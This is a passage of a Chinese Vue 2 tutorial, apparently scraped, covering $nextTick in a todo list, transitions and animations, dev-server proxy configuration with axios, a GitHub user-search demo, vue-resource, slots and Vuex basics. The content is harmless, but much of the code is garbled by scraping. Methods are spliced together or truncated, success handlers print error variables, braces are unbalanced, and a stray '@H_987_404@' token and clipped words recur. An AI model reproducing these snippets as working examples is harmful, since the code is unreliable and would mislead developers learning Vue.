        li button {
            float: right;
            display: none;
            margin-top: 3px;
        }
    
        li:before {
            content: initial;
        }
    
        li:last-child {
            border-bottom: none;
        }
    
        li:hover {
            background-color: #eee;
        }
    
        li:hover button{
            display: block;
        }
    </style>
    

    3.12. $nextTick

    $nextTick(回调函数)可以将回调延迟到下次 DOM 更新循环之后执行

    使用$nextTick优化Todo-List:

    src/App.vue:

    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                <MyHeader @addTodo="addTodo"/>
                <MyList :todos="todos"/>
                <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearallTodo="clearallTodo"/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
        import pubsub from 'pubsub-js'
        import MyHeader from './components/MyHeader.vue'
        import MyList from './components/MyList.vue'
        import MyFooter from './components/MyFooter.vue'
    
    
        export default {
            name:'App',//更新一个todo
    			updatetodo(id,title){
    				this.todos.forEach((todo)=>{
    					if(todo.id === id) todo.title = title
    				})
    			},this.deletetodo)
                this.$bus.$on('updatetodo',this.updatetodo)
            },beforeDestroy(){
                pubsub.unsubscribe(this.pubId)
                this.$bus.$off('deletetodo')
                this.$bus.$off('updatetodo')
            }
        }
    </script>
    
    <style>
        body {
            background: #fff;
        }
    
        .btn {
            display: inline-block;
            padding: 4px 12px;
            margin-bottom: 0;
            font-size: 14px;
            line-height: 20px;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            Box-shadow: inset 0 1px 0 rgba(255,0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #e04e49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn-info {
            color: #fff;
            background-color: rgb(50,129,233);
            border: 1px solid rgb(1,47,212);
            margin-right: 5px;
        }
    
        .btn-info:hover {
            color: #fff;
            background-color: rgb(1,212);
        }
    
        .btn:focus {
            outline: none;
        }
    
        .todo-container {
            width: 600px;
            margin: 0 auto;
        }
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
    

    src/components/MyItem.vue:

    <template>
        <li>
            <label>
                <input type="checkBox" :checked="todo.done" @click="handleCheck(todo.id)"/>
                <span v-show="!todo.isEdit">{{todo.title}}</span>
                <input type="text" v-show="todo.isEdit" :value="todo.title" @blur="handleBlur(todo,$event)" ref="inputTitle">
            </label>
            <button class="btn btn-danger" @click="handleDelete(todo.id,todo.title)">删除</button>
            <button class="btn btn-info" v-show="!todo.isEdit" @click="handleEdit(todo)">编辑</button>
        </li>
    </template>
    
    <script>
        import pubsub from 'pubsub-js'
        export default {
            name:'MyItem',id)
                    }
                },handleEdit(todo){
                    // 如果todo自身有isEdit属性就将isEdit改成true
    				if(Object.prototype.hasOwnProperty.call(todo,'isEdit')){
    					todo.isEdit = true
    				}else{
                        // 如果没有就向todo添加一个响应式的isEdit属性并设为true
    					this.$set(todo,'isEdit',true)
    				}
                    // 当Vue重新编译模板之后执行$nextTick()中的回调函数
                    this.$nextTick(function(){
                        // 使input框获取焦点
                        this.$refs.inputTitle.focus()
                    })
    			},// 当input框失去焦点时更新
                handleBlur(todo,event){
                    todo.isEdit = false
    				if(!event.target.value.trim()) return alert('输入不能为空!')
    				this.$bus.$emit('updatetodo',todo.id,event.target.value)
                }
            }
        }
    </script>
    
    <style scoped>
        li {
            list-style: none;
            height: 36px;
            line-height: 36px;
            padding: 0 5px;
            border-bottom: 1px solid #ddd;
        }
    
        li label {
            float: left;
            cursor: pointer;
        }
    
        li label li input {
            vertical-align: middle;
            margin-right: 6px;
            position: relative;
            top: -1px;
        }
    
        li button {
            float: right;
            display: none;
            margin-top: 3px;
        }
    
        li:before {
            content: initial;
        }
    
        li:last-child {
            border-bottom: none;
        }
    
        li:hover {
            background-color: #eee;
        }
    
        li:hover button{
            display: block;
        }
    </style>
    

    Todo-List最终效果

    总结:

    $nextTick:

    @H_987_404@
  • 语法:this.$nextTick(回调函数)
  • 作用:在下一次 DOM 更新结束后执行其指定的回调
  • 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行
  • 3.13. 过渡与动画

    src/App.vue:

    <template>
        <div id="root">
            <MyAnimation/>
            <MyTransition/>
            <MyTransitionGroup/>
            <ThirdPartAnimation/>
        </div>
    </template>
    
    <script>
        import MyAnimation from './components/MyAnimation.vue'
        import MyTransition from './components/MyTransition.vue'
        import MyTransitionGroup from './components/MyTransitionGroup.vue'
        import ThirdPartAnimation from './components/ThirdPartAnimation.vue'
    
        export default {
            name:'App',components: { MyAnimation,MyTransition,MyTransitionGroup,ThirdPartAnimation },}
    </script>
    

    src/components/MyAnimation:

    <template>
        <div>
    		<button @click="isShow = !isShow">显示/隐藏</button>
    		<transition name="jojo" appear>
    			<h1 v-show="isShow">你好啊!</h1>
    		</transition>
    	</div>
    </template>
    
    <script>
    export default {
        name:'MyTitle',data() {
    		return {
    			isShow:true
    		}
    	}
    }
    </script>
    
    <style scoped>
    	h1{
    		background-color: orange;
    	}
    
    	.jojo-enter-active{
    		animation: jojo 0.5s linear;
    	}
    
    	.jojo-leave-active{
    		animation: jojo 0.5s linear reverse;
    	}
    
    	@keyframes jojo {
    		from{
    			transform: translateX(-100%);
    		}
    		to{
    			transform: translateX(0px);
    		}
    	}
    </style>
    

    src/components/MyTransition.vue:

    <template>
        <div>
    		<button @click="isShow = !isShow">显示/隐藏</button>
    		<transition name="jojo" appear>
    			<h1 v-show="isShow">你好啊!</h1>
    		</transition>
    	</div>
    </template>
    
    <script>
    export default {
        name:'MyTitle',data() {
    		return {
    			isShow:true
    		}
    	}
    }
    </script>
    
    <style scoped>
    	h1{
    		background-color: orange;
    	}
    
    	.jojo-enter,.jojo-leave-to{
    		transform: translateX(-100%);
    	}
    
    	.jojo-enter-to,.jojo-leave{
    		transform: translateX(0);
    	}
    
    	.jojo-enter-active,.jojo-leave-active{
    		transition: 0.5s linear;
    	}
    </style>
    

    src/components/MyTransitionGroup.vue:

    <template>
        <div>
    		<button @click="isShow = !isShow">显示/隐藏</button>
    		<transition-group name="jojo" appear>
    			<h1 v-show="isShow" key="1">你好啊!</h1>
    			<h1 v-show="!isShow" key="2">大笨蛋</h1>
    		</transition-group>
    	</div>
    </template>
    
    <script>
    export default {
        name:'MyTitle',data() {
    		return {
    			isShow:true
    		}
    	}
    }
    </script>
    ·
    <style scoped>
    	h1{
    		background-color: orange;
    	}
    
    	.jojo-enter,.jojo-leave-active{
    		transition: 0.5s linear;
    	}
    </style>
    

    src/components/ThirdPartAnimation:

    <template>
        <div>
    		<button @click="isShow = !isShow">显示/隐藏</button>
    		<transition-group 
    			appear
    			name="animate__animated animate__bounce"
    			enter-active-class="animate__backInUp" 
    			leave-active-class="animate__backOutUp"
    		>
    			<h1 v-show="isShow" key="1">你好啊!</h1>
    			<h1 v-show="!isShow" key="2">大笨蛋</h1>
    		</transition-group>
    	</div>
    </template>
    
    <script>
    	import 'animate.css'
    	export default {
    		name:'MyTitle',data() {
    			return {
    				isShow:true
    			}
    		}
    	}
    </script>
    
    <style scoped>
    	h1{
    		background-color: orange;
    	}
    
    </style>
    

    效果

    总结:

    Vue封装的过度与动画:

    @H_987_404@
  • 作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名
  • 图示:
  • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F7tX8Utw-1648820283412)(https://cn.vuejs.org/images/transition.png)]

    1. 写法:

      @H_987_404@
    2. 准备好样式:

      • 元素进入的样式:

        @H_987_404@
      • v-enter:进入的起点
      • v-enter-active:进入过程中
      • v-enter-to:进入的终点
  • 元素离开的样式:

    @H_987_404@
  • v-leave:离开的起点
  • v-leave-active:离开过程中
  • v-leave-to:离开的终点
  • 使用<transition>包裹要过度的元素,并配置name属性

    <transition name="hello">
    	<h1 v-show="isShow">你好啊!</h1>
    </transition>
    
  • 备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key

  • 使用动画优化Todo-List:

    src/components/MyList.vue:

    <template>
        <ul class="todo-main">
            <transition-group name="todo" appear>
                <MyItem v-for="todo in todos" :key="todo.id" :todo="todo"/>
            </transition-group>
        </ul>
    </template>
    
    <script>
        import MyItem from './MyItem.vue'
    
        export default {
            name:'MyList',props:['todos']
        }
    </script>
    
    <style scoped>
        .todo-main {
            margin-left: 0px;
            border: 1px solid #ddd;
            border-radius: 2px;
            padding: 0px;
        }
    
        .todo-empty {
            height: 40px;
            line-height: 40px;
            border: 1px solid #ddd;
            border-radius: 2px;
            padding-left: 5px;
            margin-top: 10px;
        }
    
        .todo-enter-active{
    		animation: todo 0.5s linear;
    	}
    
    	.todo-leave-active{
    		animation: todo 0.5s linear reverse;
    	}
    
    	@keyframes todo {
    		from{
    			transform: translateX(-100%);
    		}
    		to{
    			transform: translateX(0px);
    		}
    	}
    </style>
    

    4. Vue中的Ajax

    4.1. Vue脚手架配置代理

    本案例需要下载axios库:npm install axios

    vue.config.js:

    module.exports = {
        pages: {
            index: {
                entry: 'src/main.js',
        },
        lintOnSave:false,
        // 开启代理服务器(方式一)
        // devServer: {
        //     proxy:'http://localhost:5000'
        // }
    
        //开启代理服务器(方式二)
    	devServer: {
            proxy: {
                '/jojo': {
                    target: 'http://localhost:5000',
                    pathRewrite:{'^/jojo':''},
                    // ws: true,//用于支持websocket,认值为true
                    // changeOrigin: true //用于控制请求头中的host值,认值为true
                },
                '/atguigu': {
                    target: 'http://localhost:5001',
                    pathRewrite:{'^/atguigu':''},认值为true
                }
            }
        }
    }
    

    src/App.vue:

    <template>
        <div id="root">
            <button @click="getStudents">获取学生信息</button><br/>
            <button @click="getCars">获取汽车信息</button>
        </div>
    </template>
    
    <script>
        import axios from 'axios'
        
        export default {
            name:'App',methods: {
    			getStudents(){
    				axios.get('http://localhost:8080/jojo/students').then(
    					response => {
    						console.log('请求成功了',response.data)
    					},error => {
    						console.log('请求失败了',error.message)
    					}
    				)
    			},getCars(){
    				axios.get('http://localhost:8080/atguigu/cars').then(
    					response => {
    						console.log('请求成功了',error.message)
    					}
    				)
    			}
            }
        }
    </script>
    

    效果

    总结:

    vue脚手架配置代理服务器:

    • 方法一:在vue.config.js添加如下配置:

      devServer:{
          proxy:"http://localhost:5000"
      }
      

      说明:

      @H_987_404@
    • 优点:配置简单,请求资源时直接发给前端即可
    • 缺点:不能配置多个代理,不能灵活的控制请求是否走代理
    • 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源
    • 方法二:

      devServer: {
          proxy: {
            	'/api1': { // 匹配所有以 '/api1'开头的请求路径
              	target: 'http://localhost:5000',// 代理目标的基础路径
              	changeOrigin: true,
              	pathRewrite: {'^/api1': ''}
            	},
            	'/api2': { // 匹配所有以 '/api2'开头的请求路径
              	target: 'http://localhost:5001',
              	pathRewrite: {'^/api2': ''}
            	}
          }
      }
      
      // changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
      // changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
      

      说明:

      @H_987_404@
    • 优点:可以配置多个代理,且可以灵活的控制请求是否走代理
    • 缺点:配置略微繁琐,请求资源时必须加前缀

    4.2. GitHub用户搜索案例

    public/index.html:

    <!DOCTYPE html>
    <html lang="">
        <head>
            <Meta charset="UTF-8">
            <!-- 针对IE浏览器的特殊配置,含义是让IE浏览器以最高渲染级别渲染页面 -->
            <Meta http-equiv="X-UA-Compatible" content="IE=edge">
            <!-- 开启移动端的理想端口 -->
            <Meta name="viewport" content="width=device-width,initial-scale=1.0">
            <!-- 配置页签图标 -->
            <link rel="icon" href="<%= BASE_URL %>favicon.ico">
            <!-- 引入bootstrap样式 -->
            <link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
            <!-- 配置网页标题 -->
            <title><%= htmlWebpackPlugin.options.title %></title>
        </head>
        <body>
            <!-- 容器 -->
            <div id="app"></div>
        </body>
    </html>
    

    src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
        el:"#app",
        beforeCreate(){
            Vue.prototype.$bus = this
        }
    })
    

    src/App.vue:

    <template>
    	<div class="container">
    		<Search/>
    		<List/>
    	</div>
    </template>
    
    <script>
    	import Search from './components/Search.vue'
    	import List from './components/List.vue'
    
        export default {
            name:'App',components:{Search,List},}
    </script>
    

    src/components/Search.vue:

    <template>
        <section class="jumbotron">
    		<h3 class="jumbotron-heading">Search Github Users</h3>
    		<div>
                <input type="text" placeholder="enter the name you search" v-model="keyWord"/>&nbsp;
                <button @click="getUsers">Search</button>
    		</div>
        </section>
    </template>
    
    <script>
        import axios from 'axios'
        export default {
            name:'Search',data() {
                return {
                    keyWord:''
                }
            },methods: {
                getUsers(){
                    //请求前更新List的数据
    				this.$bus.$emit('updateListData',{isLoading:true,errMsg:'',users:[],isFirst:false})
    				axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
    					response => {
    						console.log('请求成功了')
    						//请求成功后更新List的数据
    						this.$bus.$emit('updateListData',{isLoading:false,users:response.data.items})
    					},error => {
    						//请求后更新List的数据
    						this.$bus.$emit('updateListData',errMsg:error.message,users:[]})
    					}
    				)
                }
            }
        }
    </script>
    

    src/components/List.vue:

    <template>
        <div class="row">
            <!-- 展示用户列表 -->
            <div class="card" v-show="info.users.length" v-for="user in info.users" :key="user.id">
                <a :href="user.html_url" target="_blank">
                    <img :src="user.avatar_url" style='width: 100px'/>
                </a>
                <h4 class="card-title">{{user.login}}</h4>
            </div>
            <!-- 展示欢迎词 -->
            <h1 v-show="info.isFirst">欢迎使用!</h1>
            <!-- 展示加载中 -->
            <h1 v-show="info.isLoading">加载中...</h1>
            <!-- 展示错误信息 -->
            <h1 v-show="info.errMsg">{{errMsg}}</h1>
        </div>
    </template>
    
    <script>
        export default {
            name:'List',data() {
                return {
                    info:{
                        isFirst:true,isLoading:false,users:[]
                    }
                }
            },mounted(){
                this.$bus.$on('updateListData',(dataObj)=>{
                    //动态合并两个对象的属性
                    this.info = {...this.info,...dataObj}
                })
            },beforeDestroy(){
                this.$bus.$off('updateListData')
            }
        }
    </script>
    
    <style scoped>
        .album {
    		min-height: 50rem; /* Can be removed; just added for demo purposes */
    		padding-top: 3rem;
    		padding-bottom: 3rem;
    		background-color: #f7f7f7;
    	}
    
    	.card {
    		float: left;
    		width: 33.333%;
    		padding: .75rem;
    		margin-bottom: 2rem;
    		border: 1px solid #efefef;
    		text-align: center;
    	}
    
    	.card > img {
    		margin-bottom: .75rem;
    		border-radius: 100px;
    	}
    
    	.card-text {
    		font-size: 85%;
    	}
    </style>
    

    效果

    4.3. vue-resource

    下载 vue-resource库:npm i vue-resource

    src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    import vueResource from 'vue-resource'
    
    Vue.config.productionTip = false
    Vue.use(vueResource)
    
    new Vue({
        el:"#app",}
    </script>
    

    src/components/Search.vue:

    <template>
        <section class="jumbotron">
    		<h3 class="jumbotron-heading">Search Github Users</h3>
    		<div>
                <input type="text" placeholder="enter the name you search" v-model="keyWord"/>&nbsp;
                <button @click="getUsers">Search</button>
    		</div>
        </section>
    </template>
    
    <script>
        export default {
            name:'Search',isFirst:false})
    				this.$http.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
    					response => {
    						console.log('请求成功了')
    						//请求成功后更新List的数据
    						this.$bus.$emit('updateListData',(dataObj)=>{
                    this.info = {...this.info,beforeDestroy(){
                this.$bus.$off('updateListData')
            }
        }
    </script>
    
    <style scoped>
        .album {
    		min-height: 50rem; /* Can be removed; just added for demo purposes */
    		padding-top: 3rem;
    		padding-bottom: 3rem;
    		background-color: #f7f7f7;
    	}
    
    	.card {
    		float: left;
    		width: 33.333%;
    		padding: .75rem;
    		margin-bottom: 2rem;
    		border: 1px solid #efefef;
    		text-align: center;
    	}
    
    	.card > img {
    		margin-bottom: .75rem;
    		border-radius: 100px;
    	}
    
    	.card-text {
    		font-size: 85%;
    	}
    </style>
    

    总结:

    vue项目常用的两个Ajax库:

    @H_987_404@
  • axios:通用的Ajax请求库,官方推荐,效率高
  • vue-resource:vue插件库,vue 1.x使用广泛,官方已不维护
  • 4.4. slot插槽

    4.4.1. 认插槽

    src/App.vue:

    <template>
    	<div class="container">
    		<Category title="美食" >
    			<img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
    		</Category>
    
    		<Category title="游戏" >
    			<ul>
    				<li v-for="(g,index) in games" :key="index">{{g}}</li>
    			</ul>
    		</Category>
    
    		<Category title="电影">
    			<video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
    		</Category>
    	</div>
    </template>
    
    <script>
    	import Category from './components/Category'
    	export default {
    		name:'App',components:{Category},data() {
    			return {
    				games:['植物大战僵尸','红色警戒','空洞骑士','王国']
    			}
    		},}
    </script>
    
    <style scoped>
    	.container{
    		display: flex;
    		justify-content: space-around;
    	}
    </style>
    

    src/components/Category.vue:

    <template>
    	<div class="category">
    		<h3>{{title}}分类</h3>
    		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
    		<slot>我是一些认值,当使用者没有传递具体结构时,我会出现</slot>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Category',props:['title']
    	}
    </script>
    
    <style scoped>
    	.category{
    		background-color: skyblue;
    		width: 200px;
    		height: 300px;
    	}
    	h3{
    		text-align: center;
    		background-color: orange;
    	}
    	video{
    		width: 100%;
    	}
    	img{
    		width: 100%;
    	}
    </style>
    

    效果

    4.4.2. 具名插槽

    src/App.vue:

    <template>
    	<div class="container">
    		<Category title="美食" >
    			<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
    			<a slot="footer" href="http://www.atguigu.com">更多美食</a>
    		</Category>
    
    		<Category title="游戏" >
    			<ul slot="center">
    				<li v-for="(g,index) in games" :key="index">{{g}}</li>
    			</ul>
    			<div class="foot" slot="footer">
    				<a href="http://www.atguigu.com">单机游戏</a>
    				<a href="http://www.atguigu.com">网络游戏</a>
    			</div>
    		</Category>
    
    		<Category title="电影">
    			<video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
    			<template v-slot:footer>
    				<div class="foot">
    					<a href="http://www.atguigu.com">经典</a>
    					<a href="http://www.atguigu.com">热门</a>
    					<a href="http://www.atguigu.com">推荐</a>
    				</div>
    				<h4>欢迎前来观影</h4>
    			</template>
    		</Category>
    	</div>
    </template>
    
    <script>
    	import Category from './components/Category'
    	export default {
    		name:'App',}
    </script>
    
    <style>
    	.container,.foot{
    		display: flex;
    		justify-content: space-around;
    	}
    	h4{
    		text-align: center;
    	}
    </style>
    

    src/components/Category.vue:

    <template>
    	<div class="category">
    		<h3>{{title}}分类</h3>
    		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
    		<slot name="center">我是一些认值,当使用者没有传递具体结构时,我会出现1</slot>
            <slot name="footer">我是一些认值,当使用者没有传递具体结构时,我会出现2</slot>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Category',props:['title']
    	}
    </script>
    
    <style scoped>
    	.category{
    		background-color: skyblue;
    		width: 200px;
    		height: 300px;
    	}
    	h3{
    		text-align: center;
    		background-color: orange;
    	}
    	video{
    		width: 100%;
    	}
    	img{
    		width: 100%;
    	}
    </style>
    

    效果

    4.4.3. 作用域插槽

    src/App.vue:

    <template>
    	<div class="container">
    		<Category title="游戏" >
    			<template scope="jojo">
    				<ul>
    					<li v-for="(g,index) in jojo.games" :key="index">{{g}}</li>
    				</ul>
    			</template>
    		</Category>
    
    		<Category title="游戏" >
    			<template scope="jojo">
    				<ol>
    					<li v-for="(g,index) in jojo.games" :key="index">{{g}}</li>
    				</ol>
    			</template>
    		</Category>
    
    		<Category title="游戏" >
    			<template scope="jojo">
    				<h4 v-for="(g,index) in jojo.games" :key="index">{{g}}</h4>
    			</template>
    		</Category>
    	</div>
    </template>
    
    <script>
    	import Category from './components/Category'
    	export default {
    		name:'App',components:{Category}
    	}
    </script>
    
    <style>
    	.container,.foot{
    		display: flex;
    		justify-content: space-around;
    	}
    	h4{
    		text-align: center;
    	}
    </style>
    

    src/components/Category.vue:

    <template>
    	<div class="category">
    		<h3>{{title}}分类</h3>
    		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
    		<slot :games="games">我是一些认值,当使用者没有传递具体结构时,我会出现1</slot>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Category',props:['title'],}
    </script>
    
    <style scoped>
    	.category{
    		background-color: skyblue;
    		width: 200px;
    		height: 300px;
    	}
    	h3{
    		text-align: center;
    		background-color: orange;
    	}
    	video{
    		width: 100%;
    	}
    	img{
    		width: 100%;
    	}
    </style>
    

    效果

    总结:

    插槽:

    @H_987_404@
  • 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于==父组件 > 子组件

  • 分类认插槽、具名插槽、作用域插槽

  • 使用方式:

    @H_987_404@
  • 认插槽:

    父组件中:
            <Category>
               	<div>html结构1</div>
            </Category>
    子组件中:
            <template>
                <div>
                   	<slot>插槽内容...</slot>
                </div>
            </template>
    
  • 具名插槽:

    父组件中:
            <Category>
                <template slot="center">
                 	 <div>html结构1</div>
                </template>
    
                <template v-slot:footer>
                   	<div>html结构2</div>
                </template>
            </Category>
    子组件中:
            <template>
                <div>
                   	<slot name="center">插槽内容...</slot>
                    <slot name="footer">插槽内容...</slot>
                </div>
            </template>
    
  • 作用域插槽:

    @H_987_404@
  • 理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

  • 具体编码:

    父组件中:
    		<Category>
    			<template scope="scopeData">
    				<!-- 生成的是ul列表 -->
    				<ul>
    					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
    				</ul>
    			</template>
    		</Category>
    
    		<Category>
    			<template slot-scope="scopeData">
    				<!-- 生成的是h4标题 -->
    				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
    			</template>
    		</Category>
    子组件中:
            <template>
                <div>
                    <slot :games="games"></slot>
                </div>
            </template>
    		
            <script>
                export default {
                    name:'Category',//数据在子组件自身
                    data() {
                        return {
                            games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                        }
                    },}
            </script>
    
  • 5. Vuex

    5.1. 理解Vuex

    5.1.1. Vuex是什么

    @H_987_404@
  • 概念:专门在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 vue 应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信
  • Vuex Github地址
  • 5.1.2. 什么时候使用Vuex

    @H_987_404@
  • 多个组件依赖于同一状态
  • 来自不同组件的行为需要变更同一状态
  • 5.1.3. Vuex工作原理图

    vuex

    5.2. 求和案例

    下载vuexnpm i vuex

    5.2.1. 使用纯vue编写

    src/App.vue:

    <template>
    	<div class="container">
    		<Count/>
    	</div>
    </template>
    
    <script>
    	import Count from './components/Count'
    	export default {
    		name:'App',components:{Count}
    	}
    </script>
    

    src/components/Count.vue:

    <template>
    	<div>
    		<h1>当前求和为:{{sum}}</h1>
    		<select v-model.number="n">
    			<option value="1">1</option>
    			<option value="2">2</option>
    			<option value="3">3</option>
    		</select>
    		<button @click="increment">+</button>
    		<button @click="decrement">-</button>
    		<button @click="incrementOdd">当前求和为奇数再加</button>
    		<button @click="incrementWait">等一等再加</button>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Count',data() {
    			return {
    				n:1,//用户选择的数字
    				sum:0 //当前的和
    			}
    		},methods: {
    			increment(){
    				this.sum += this.n
    			},decrement(){
    				this.sum -= this.n
    			},incrementOdd(){
    				if(this.sum % 2){
    					this.sum += this.n
    				}
    			},incrementWait(){
    				setTimeout(()=>{
    					this.sum += this.n
    				},500)
    			},}
    </script>
    
    <style>
    	button{
    		margin-left: 5px;
    	}
    </style>
    
    

    效果

    5.2.2. 搭建Vuex环境

    @H_987_404@
  • 下载 Vuex:npm i vuex

  • 创建src/store/index.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
       
    //准备actions对象——响应组件中用户的动作、处理业务逻辑
    const actions = {}
    //准备mutations对象——修改state中的数据
    const mutations = {}
    //准备state对象——保存具体的数据
    const state = {}
       
    //创建并暴露store
    export default new Vuex.Store({
       	actions,
       	mutations,
       	state
    })
    
  • src/main.js中创建 vm 时传入store配置项:

  • import Vue from 'vue'
    import App from './App.vue'
    import Vuex from 'vuex'
    import store from './store'
    
    Vue.config.productionTip = false
    
    Vue.use(Vuex)
    
    new Vue({
        el:"#app",
        store
    })
    

    5.2.3. 使用Vuex编写

    src/components/Count.vue:

    <template>
    	<div>
    		<h1>当前求和为:{{$store.state.sum}}</h1>
    		<select v-model.number="n">
    			<option value="1">1</option>
    			<option value="2">2</option>
    			<option value="3">3</option>
    		</select>
    		<button @click="increment">+</button>
    		<button @click="decrement">-</button>
    		<button @click="incrementOdd">当前求和为奇数再加</button>
    		<button @click="incrementWait">等一等再加</button>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Count',//用户选择的数字
    			}
    		},methods: {
    			increment(){
    				this.$store.commit('ADD',this.n)
    			},decrement(){
    				this.$store.commit('SUBTRACT',incrementOdd(){
    				this.$store.dispatch('addOdd',incrementWait(){
    				this.$store.dispatch('addWait',}
    </script>
    
    <style>
    	button{
    		margin-left: 5px;
    	}
    </style>
    

    src/store/index.js:

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
       
    //准备actions对象——响应组件中用户的动作
    const actions = {
        addOdd(context,value){
            console.log("actions中的addOdd被调用了")
            if(context.state.sum % 2){
                context.commit('ADD',value)
            }
        },
        addWait(context,value){
            console.log("actions中的addWait被调用了")
            setTimeout(()=>{
    			context.commit('ADD',value)
    		},500)
        },
    }
    //准备mutations对象——修改state中的数据
    const mutations = {
        ADD(state,value){
            state.sum += value
        },
        SUBTRACT(state,value){
            state.sum -= value
        }
    }
    //准备state对象——保存具体的数据
    const state = {
        sum:0 //当前的和
    }
       
    //创建并暴露store
    export default new Vuex.Store({
        actions,
        mutations,
        state
    })
    

    总结:

    Vuex的基本使用:

    @H_987_404@
  • 初始化数据state,配置actionsmutations,操作文件store.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    
    const actions = {
        //响应组件中加的动作
    	jia(context,value){
    		// console.log('actions中的jia被调用了',miniStore,value)
    		context.commit('JIA',value)
    	},
    }
    
    const mutations = {
        //执行加
    	JIA(state,value){
    		// console.log('mutations中的JIA被调用了',state,value)
    		state.sum += value
    	}
    }
    
    //初始化数据
    const state = {
       sum:0
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state,
    })
    
  • 组件中读取vuex中的数据:$store.state.sum

  • 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

  • 备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

    5.3. getters配置项

    src/Count.vue:

    <template>
    	<div>
    		<h1>当前求和为:{{$store.state.sum}}</h1>
    		<h3>当前求和的10倍为:{{$store.getters.bigSum}}</h3>
    		<select v-model.number="n">
    			<option value="1">1</option>
    			<option value="2">2</option>
    			<option value="3">3</option>
    		</select>
    		<button @click="increment">+</button>
    		<button @click="decrement">-</button>
    		<button @click="incrementOdd">当前求和为奇数再加</button>
    		<button @click="incrementWait">等一等再加</button>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Count',value){
            state.sum -= value
        }
    }
    //准备state对象——保存具体的数据
    const state = {
        sum:0 //当前的和
    }
    //准备getters对象——用于将state中的数据进行加工
    const getters = {
        bigSum(){
            return state.sum * 10
        }
    }
       
    //创建并暴露store
    export default new Vuex.Store({
        actions,
        state,
        getters
    })
    

    效果

    总结:

    getters配置项的使用:

    @H_987_404@
  • 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工

  • store.js中追加getters配置

    ...
    const getters = {
    	bigSum(state){
    		return state.sum * 10
    	}
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	...
    	getters
    })
    
  • 组件中读取数据:$store.getters.bigSum

  • 5.4. 四个map方法的使用

    5.4.1. mapState与mapGetters

    src/store/index.js:

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
       
    //准备actions对象——响应组件中用户的动作
    const actions = {
        addOdd(context,value){
            state.sum -= value
        }
    }
    //准备state对象——保存具体的数据
    const state = {
        sum:0, //当前的和
        name:'JOJO',
        school:'尚硅谷',
    }
    //准备getters对象——用于将state中的数据进行加工
    const getters = {
        bigSum(){
            return state.sum * 10
        }
    }
       
    //创建并暴露store
    export default new Vuex.Store({
        actions,
        getters
    })
    

    src/components/Count.vue:

    <template>
    	<div>
    		<h1>当前求和为:{{sum}}</h1>
    		<h3>当前求和的10倍为:{{bigSum}}</h3>
    		<h3>我是{{name}},我在{{school}}学习</h3>
    		<select v-model.number="n">
    			<option value="1">1</option>
    			<option value="2">2</option>
    			<option value="3">3</option>
    		</select>
    		<button @click="increment">+</button>
    		<button @click="decrement">-</button>
    		<button @click="incrementOdd">当前求和为奇数再加</button>
    		<button @click="incrementWait">等一等再加</button>
    	</div>
    </template>
    
    <script>
    	import {mapState,mapGetters} from 'vuex'
    
    	export default {
    		name:'Count',computed:{		
    			// 借助mapState生成计算属性(数组写法)
